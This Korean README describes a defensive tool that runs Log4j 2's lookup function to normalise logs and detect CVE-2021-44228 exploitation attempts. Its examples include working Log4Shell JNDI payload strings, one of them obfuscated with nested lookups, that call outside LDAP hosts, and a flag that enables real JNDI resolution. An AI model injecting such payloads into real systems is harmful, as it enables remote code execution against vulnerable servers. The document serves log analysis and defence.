
Apache Log4j 2 CVE-2021-44228 완화를 돕는 몇 가지 도구
Apache Log4j 2 CVE-2021-44228 분석을 돕는 도구입니다.
이 도구는 log4j-2의 "lookup" 기능을 사용하여 JNDI 취약점을 테스트합니다. 목표는 lookup 기능을 쉽게 실행하는 것입니다 (예: 로그 정규화 또는 실제 페이로드 테스트 - 주의하세요).
빌드 방법: "make" (편의상 JndiLookup.jar 파일이 이 git에 포함되어 있습니다).
빌드 후에는 "java -jar JndiLookup.jar"로 도구를 실행할 수 있습니다 (log4j 바이너리가 있는 log4j 디렉토리는 JndiLookup.jar와 같은 경로에 있어야 합니다).
인수 없이 실행하면 JndiLookup 도구는 stdin에서 줄을 읽고 log4j lookup 기능을 사용하여 "변환"합니다. 이는 로그를 정규화하고 악용 시도를 검색하는 데 유용합니다.
예: cat access.log | java -jar JndiLookup.jar
명령줄에 문자열을 전달하면 도구가 해당 문자열을 변환하고 종료합니다 ('$' 문자는 모두 이스케이프하세요).
예: java -jar JndiLookup.jar java -jar JndiLookup.jar "\${jndi:\${lower:l}\${lower:d}a\${lower:p}://world443.log4j.bin\${upper:a}ryedge.io:80/callback}"
기본적으로 JNDI lookup은 비활성화되어 있으며 ("jndi:"만 추가하는 lookup 함수로 대체됨), "-X" 매개변수를 JndiLookup에 전달하면 실제 JNDI lookup을 활성화할 수 있습니다 ("-X"는 첫 번째 매개변수로 전달). 시스템이 손상될 수 있으므로 주의하세요.
예: java -jar JndiLookup.jar -X "\${jndi:ldap://w8pcb14reujq65vic39pz9amv.canarytokens.com/a}" [ 이 예제는 제 canary token 중 하나를 사용한 것입니다. 단지 예시일 뿐이며, 이 명령어를 사용하면 제게 알림이 갈 것임을 알아주세요. 제 쪽에서는 문제가 없지만 DNS 요청이 발생한 IP를 확인할 수 있습니다. ]
사용된 log4j 바이너리에서 활성화된 lookup 목록 (표준 사용 시 2.15.0, JNDI 활성 사용 시 2.14.1):
환경에 따라 다음 lookup도 사용 가능할 수 있습니다:
[ lookup 플러그인 활성화에 대한 자세한 내용은 https://github.com/apache/logging-log4j2/blob/c30a1398a6697fb832c650870c44284d0052103e/log4j-core/src/main/java/org/apache/logging/log4j/core/lookup/Interpolator.java 를 참조하세요.]
이 도구는 log4j lookup 기능의 실제 코드를 사용하며, 다른 (JNDI 외) 보안 문제로 인해 취약할 수 있음을 유의하세요.